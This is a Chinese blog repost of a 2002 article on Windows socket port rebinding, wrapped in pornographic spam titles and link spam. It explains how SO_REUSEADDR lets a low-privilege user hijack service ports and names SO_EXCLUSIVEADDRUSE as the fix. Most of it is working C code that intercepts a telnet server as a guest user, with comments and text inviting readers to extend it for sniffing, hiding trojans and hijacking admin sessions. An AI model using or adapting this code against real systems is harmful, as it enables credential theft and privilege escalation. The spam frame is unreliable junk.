青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

公告

<2025年11月>
2627282930311
2345678
9101112131415
16171819202122
23242526272829
30123456

統(tǒng)計(jì)

  • 隨筆 - 9
  • 文章 - 13
  • 評(píng)論 - 3
  • 引用 - 0

常用鏈接

留言簿(1)

隨筆分類

隨筆檔案

文章分類

文章檔案

搜索

  •  

最新評(píng)論

閱讀排行榜

評(píng)論排行榜

端口截聽(tīng)
創(chuàng)建時(shí)間:2002-11-05
文章屬性:原創(chuàng)
文章提交:flashsky (flashsky1_at_sina.com)

作者:FLASHSKY
EMAIL:flashsky@xfocus.org
站點(diǎn):www.xfocus.net??www.shopsky.com
轉(zhuǎn)載請(qǐng)注明原作者安全焦點(diǎn)

在WINDOWS的SOCKET服務(wù)器應(yīng)用的編程中,如下的語(yǔ)句或許比比都是:
?????? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?????? saddr.sin_family = AF_INET;
?????? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?????? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
????其實(shí)這當(dāng)中存在在非常大的安全隱患,因?yàn)樵趙insock的實(shí)現(xiàn)中,對(duì)于服務(wù)器的綁定是可以多重綁定的,在確定多重綁定使用誰(shuí)的時(shí)候,根據(jù)一條原則是誰(shuí)的指定最明確則將包遞交給誰(shuí),而且沒(méi)有權(quán)限之分,也就是說(shuō)低級(jí)權(quán)限的用戶是可以重綁定在高級(jí)權(quán)限如服務(wù)啟動(dòng)的端口上的,這是非常重大的一個(gè)安全隱患。
????這意味著什么?意味著可以進(jìn)行如下的攻擊:
????1。一個(gè)木馬綁定到一個(gè)已經(jīng)合法存在的端口上進(jìn)行端口的隱藏,他通過(guò)自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過(guò)127.0.0.1的地址交給真正的服務(wù)器應(yīng)用進(jìn)行處理。
????2。一個(gè)木馬可以在低權(quán)限用戶上綁定高權(quán)限的服務(wù)應(yīng)用的端口,進(jìn)行該處理信息的嗅探,本來(lái)在一個(gè)主機(jī)上監(jiān)聽(tīng)一個(gè)SOCKET的通訊需要具備非常高的權(quán)限要求,但其實(shí)利用SOCKET重綁定,你可以輕易的監(jiān)聽(tīng)具備這種SOCKET編程漏洞的通訊,而無(wú)須采用什么掛接,鉤子或低層的驅(qū)動(dòng)技術(shù)(這些都需要具備管理員權(quán)限才能達(dá)到)
????3。針對(duì)一些的特殊應(yīng)用,可以發(fā)起中間人攻擊,從低權(quán)限用戶上獲得信息或事實(shí)欺騙,如在guest權(quán)限下攔截telnet服務(wù)器的23端口,如果是采用NTLM加密認(rèn)證,雖然你無(wú)法通過(guò)嗅探直接獲取密碼,但一旦有admin用戶通過(guò)你登陸以后,你的應(yīng)用就完全可以發(fā)起中間人攻擊,扮演這個(gè)登陸的用戶通過(guò)SOCKET發(fā)送高權(quán)限的命令,到達(dá)入侵的目的。
????4.對(duì)于構(gòu)建的WEB服務(wù)器,入侵者只需要獲得低級(jí)的權(quán)限,就可以完全達(dá)到更改網(wǎng)頁(yè)目的,很簡(jiǎn)單,扮演你的服務(wù)器給予連接請(qǐng)求以其他信息的應(yīng)答,甚至是基于電子商務(wù)上的欺騙,獲取非法的數(shù)據(jù)。

????其實(shí),MS自己的很多服務(wù)的SOCKET編程都存在這樣的問(wèn)題,telnet,ftp,http的服務(wù)實(shí)現(xiàn)全部都可以利用這種方法進(jìn)行攻擊,在低權(quán)限用戶上實(shí)現(xiàn)對(duì)SYSTEM應(yīng)用的截聽(tīng)。包括W2K+SP3的IIS也都一樣,那么如果你已經(jīng)可以以低權(quán)限用戶入侵或木馬植入的話,而且對(duì)方又開(kāi)啟了這些服務(wù)的話,那就不妨一試。并且我估計(jì)還有很多第三方的服務(wù)也大多存在這個(gè)漏洞。
????解決的方法很簡(jiǎn)單,在編寫如上應(yīng)用的時(shí)候,綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨(dú)占所有的端口地址,而不允許復(fù)用。這樣其他人就無(wú)法復(fù)用這個(gè)端口了。
????下面就是一個(gè)簡(jiǎn)單的截聽(tīng)ms telnet服務(wù)器的例子,在GUEST用戶下都能成功進(jìn)行截聽(tīng),剩余的就是大家根據(jù)自己的需要,進(jìn)行一些特殊剪裁的問(wèn)題了:如是隱藏,嗅探數(shù)據(jù),高權(quán)限用戶欺騙等。

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
????WORD wVersionRequested;
????DWORD ret;
????WSADATA wsaData;
????BOOL val;
????SOCKADDR_IN saddr;
????SOCKADDR_IN scaddr;
????int err;
????SOCKET s;
????SOCKET sc;
????int caddsize;
????HANDLE mt;
????DWORD tid;

????wVersionRequested = MAKEWORD( 2, 2 );
????err = WSAStartup( wVersionRequested, &wsaData );
????if ( err != 0 ) {
????????printf("error!WSAStartup failed!\n");
????????return -1;
????}
????saddr.sin_family = AF_INET;

????//截聽(tīng)雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應(yīng)用情況下,應(yīng)該指定具體的IP,留下127.0.0.1給正常的服務(wù)應(yīng)用,然后利用這個(gè)地址進(jìn)行轉(zhuǎn)發(fā),就可以不影響對(duì)方正常應(yīng)用了
????saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ????
????saddr.sin_port = htons(23);
????if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
????{
????????printf("error!socket failed!\n");
????????return -1;
????}
????val = TRUE;
????//SO_REUSEADDR選項(xiàng)就是可以實(shí)現(xiàn)端口重綁定的
????if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
????{
????????printf("error!setsockopt failed!\n");
????????return -1;
????}
????//如果指定了SO_EXCLUSIVEADDRUSE,就不會(huì)綁定成功,返回?zé)o權(quán)限的錯(cuò)誤代碼;
????//如果是想通過(guò)重利用端口達(dá)到隱藏的目的,就可以動(dòng)態(tài)的測(cè)試當(dāng)前已綁定的端口哪個(gè)可以成功,就說(shuō)明具備這個(gè)漏洞,然后動(dòng)態(tài)利用端口使得更隱蔽
????//其實(shí)UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務(wù)為例子進(jìn)行攻擊
????if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
????{
????????ret=GetLastError();
????????printf("error!bind failed!\n");
????????return -1;
????}
????listen(s,2);????
????while(1)
????{
????????caddsize = sizeof(scaddr);
????????//接受連接請(qǐng)求
????????sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
????????if(sc!=INVALID_SOCKET)
????????{
????????????mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
????????????if(mt==NULL)
????????????{
????????????????printf("Thread Creat Failed!\n");
????????????????break;
????????????}
????????}
????????CloseHandle(mt);
????}
????closesocket(s);
????WSACleanup();
????return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
????SOCKET ss = (SOCKET)lpParam;
????SOCKET sc;
????unsigned char buf[4096];
????SOCKADDR_IN saddr;
????long num;
????DWORD val;
????DWORD ret;
????//如果是隱藏端口應(yīng)用的話,可以在此處加一些判斷
????//如果是自己的包,就可以進(jìn)行一些特殊處理,不是的話通過(guò)127.0.0.1進(jìn)行轉(zhuǎn)發(fā)

????saddr.sin_family = AF_INET;
????saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
????saddr.sin_port = htons(23);
????if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
????{
????????printf("error!socket failed!\n");
????????return -1;
????}
????val = 100;
????if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
????{
????????ret = GetLastError();
????????return -1;
????}
????if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
????{
????????ret = GetLastError();
????????return -1;
????}
????if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
????{
????????printf("error!socket connect failed!\n");
????????closesocket(sc);
????????closesocket(ss);
????????return -1;
????}
????while(1)
????{
????????//下面的代碼主要是實(shí)現(xiàn)通過(guò)127。0。0。1這個(gè)地址把包轉(zhuǎn)發(fā)到真正的應(yīng)用上,并把應(yīng)答的包再轉(zhuǎn)發(fā)回去。
????????//如果是嗅探內(nèi)容的話,可以再此處進(jìn)行內(nèi)容分析和記錄
????????????????//如果是攻擊如TELNET服務(wù)器,利用其高權(quán)限登陸用戶的話,可以分析其登陸用戶,然后利用發(fā)送特定的包以劫持的用戶身份執(zhí)行。
????????num = recv(ss,buf,4096,0);
????????if(num>0)
????????????send(sc,buf,num,0);
????????else if(num==0)
????????????break;
????????num = recv(sc,buf,4096,0);
????????if(num>0)
????????????send(ss,buf,num,0);
????????else if(num==0)
????????????break;
????}
????closesocket(ss);
????closesocket(sc);
????return 0 ;
}

posted on 2006-09-22 15:48 blues 閱讀(169) 評(píng)論(0)  編輯 收藏 引用


只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            男男成人高潮片免费网站| 另类av导航| 欧美与黑人午夜性猛交久久久| 亚洲一区二区在| 久久激情一区| 亚洲国产一区二区三区在线播 | 欧美激情精品久久久久久久变态| 欧美电影免费观看| 国产精品日韩欧美| 亚洲成在线观看| 亚洲视频大全| 麻豆视频一区二区| 欧美精品99| 韩国成人精品a∨在线观看| 亚洲人被黑人高潮完整版| 午夜欧美大片免费观看| 欧美国产日本韩| 欧美一区亚洲一区| 欧美日韩国产免费| 亚洲成人资源| 夜夜精品视频一区二区| 久久精品91久久久久久再现| 欧美三级免费| 99国内精品久久| 欧美va亚洲va香蕉在线| 亚洲欧美日韩一区在线观看| 欧美福利视频在线| 欧美一级专区| 欧美成人免费在线视频| 欧美怡红院视频| 欧美激情久久久久| 久久午夜视频| 久久久国产精品一区| 国产日韩欧美在线播放不卡| 亚洲自拍三区| 免费成人黄色| 91久久久亚洲精品| 亚洲自啪免费| 国产真实乱子伦精品视频| 欧美一区二区| 欧美日韩二区三区| 欧美 日韩 国产在线| 国产欧美日韩视频| 欧美在线亚洲一区| 欧美在线高清| 亚洲欧美清纯在线制服| 欧美一二三视频| 合欧美一区二区三区| 一区二区三区四区国产| 国产精品羞羞答答xxdd| 亚洲日韩欧美视频| 欧美日韩性视频在线| 亚洲欧美中文字幕| 欧美日韩国产a| 亚洲国产成人av好男人在线观看| 欧美大尺度在线观看| 久久躁日日躁aaaaxxxx| 国产日韩精品在线| 亚洲一区二区三区四区五区午夜| 国产欧美日韩一区| 亚洲线精品一区二区三区八戒| 国产日韩视频| 亚洲欧美综合国产精品一区| 亚洲一区日韩在线| 国产精品第三页| 久久本道综合色狠狠五月| 欧美三级电影大全| 一本综合久久| 亚洲欧美日韩国产精品| 国产精品乱人伦中文| 欧美二区乱c少妇| 国产精品国产三级国产a| 亚洲免费大片| 国内成人在线| 久久综合网色—综合色88| 国产精品99久久久久久久久久久久| 欧美成ee人免费视频| 亚洲国产专区| 在线一区亚洲| 免费一级欧美片在线播放| 免费观看欧美在线视频的网站| 欧美午夜精品久久久久久孕妇| 久久蜜臀精品av| 欧美性jizz18性欧美| 亚洲一区免费观看| 久久精品成人一区二区三区蜜臀| 国产日韩亚洲欧美综合| 久久久久久综合| 欧美一区二区三区在线免费观看| 国产精品一区二区三区四区五区| 亚洲三级观看| 午夜精品一区二区在线观看 | 午夜视频一区在线观看| 亚洲精华国产欧美| 午夜欧美视频| 美日韩在线观看| 一本到12不卡视频在线dvd| 久久久久国内| 亚洲伦伦在线| 亚洲人成网站999久久久综合| 欧美日韩国产一区| 欧美一级在线播放| 亚洲经典视频在线观看| 在线免费精品视频| 欧美视频日韩视频| 久久野战av| 久久久久五月天| 夜夜狂射影院欧美极品| 国产日韩一区二区三区| 欧美成人有码| 久久岛国电影| 在线综合+亚洲+欧美中文字幕| 国产精品99久久99久久久二8| 国产午夜精品美女毛片视频| 欧美成人午夜影院| 欧美一区激情| 亚洲视频欧洲视频| 最新亚洲一区| 欧美xart系列高清| 久久av红桃一区二区小说| 亚洲美女视频在线免费观看| 欧美精品一区二区三区一线天视频| 欧美 日韩 国产 一区| 亚洲欧美视频一区二区三区| 亚洲精品国产精品乱码不99 | 欧美精品久久99| 久久视频免费观看| 午夜精品av| 亚洲欧美激情视频| 99热在线精品观看| 亚洲精品欧美日韩| 亚洲国产综合91精品麻豆| 美女被久久久| 乱中年女人伦av一区二区| 久久国产精品99精品国产| 午夜精品久久久久| 亚洲欧美日韩国产精品| 亚洲一级在线| 狠狠久久亚洲欧美| 国产一区亚洲一区| 国产欧美不卡| 国产午夜精品在线观看| 国产噜噜噜噜噜久久久久久久久| 欧美四级在线| 国产精品免费小视频| 欧美午夜一区二区| 国产精品高清一区二区三区| 欧美日韩一区二区视频在线观看| 欧美人成在线视频| 欧美三级电影一区| 国产精品成人免费| 国产精品网站在线观看| 国产日韩欧美一区| 韩日欧美一区二区| 亚洲大片av| 亚洲美女免费精品视频在线观看| 亚洲免费观看在线视频| 一区二区三区 在线观看视频| 夜夜嗨av一区二区三区网站四季av| 一本久道久久综合狠狠爱| 亚洲无毛电影| 久久久成人网| 亚洲视频 欧洲视频| 亚洲天堂av在线免费观看| 亚洲欧美综合另类中字| 久久国产手机看片| 你懂的国产精品永久在线| 亚洲国产精品成人一区二区| 亚洲人成在线播放| 亚洲一区二区视频在线观看| 久久精品国产精品亚洲综合| 欧美69视频| 国产精品国色综合久久| 国产中文一区二区| 亚洲免费大片| 久久精品1区| 亚洲国产另类久久久精品极度| 99视频+国产日韩欧美| 欧美一区二区性| 欧美激情中文不卡| 国产情侣一区| 亚洲伦理自拍| 久久久久久综合| aⅴ色国产欧美| 久久久天天操| 国产精品视频精品视频| 亚洲国产欧美日韩另类综合| 亚洲影音先锋| 亚洲电影观看| 欧美在线日韩在线| 欧美性猛交99久久久久99按摩 | 欧美视频在线观看视频极品| 国产一区三区三区| 亚洲视频在线二区| 亚洲大片一区二区三区| 亚洲自拍偷拍一区| 欧美精品在线观看| 亚洲二区在线视频| 亚洲理伦电影| 久久激情综合|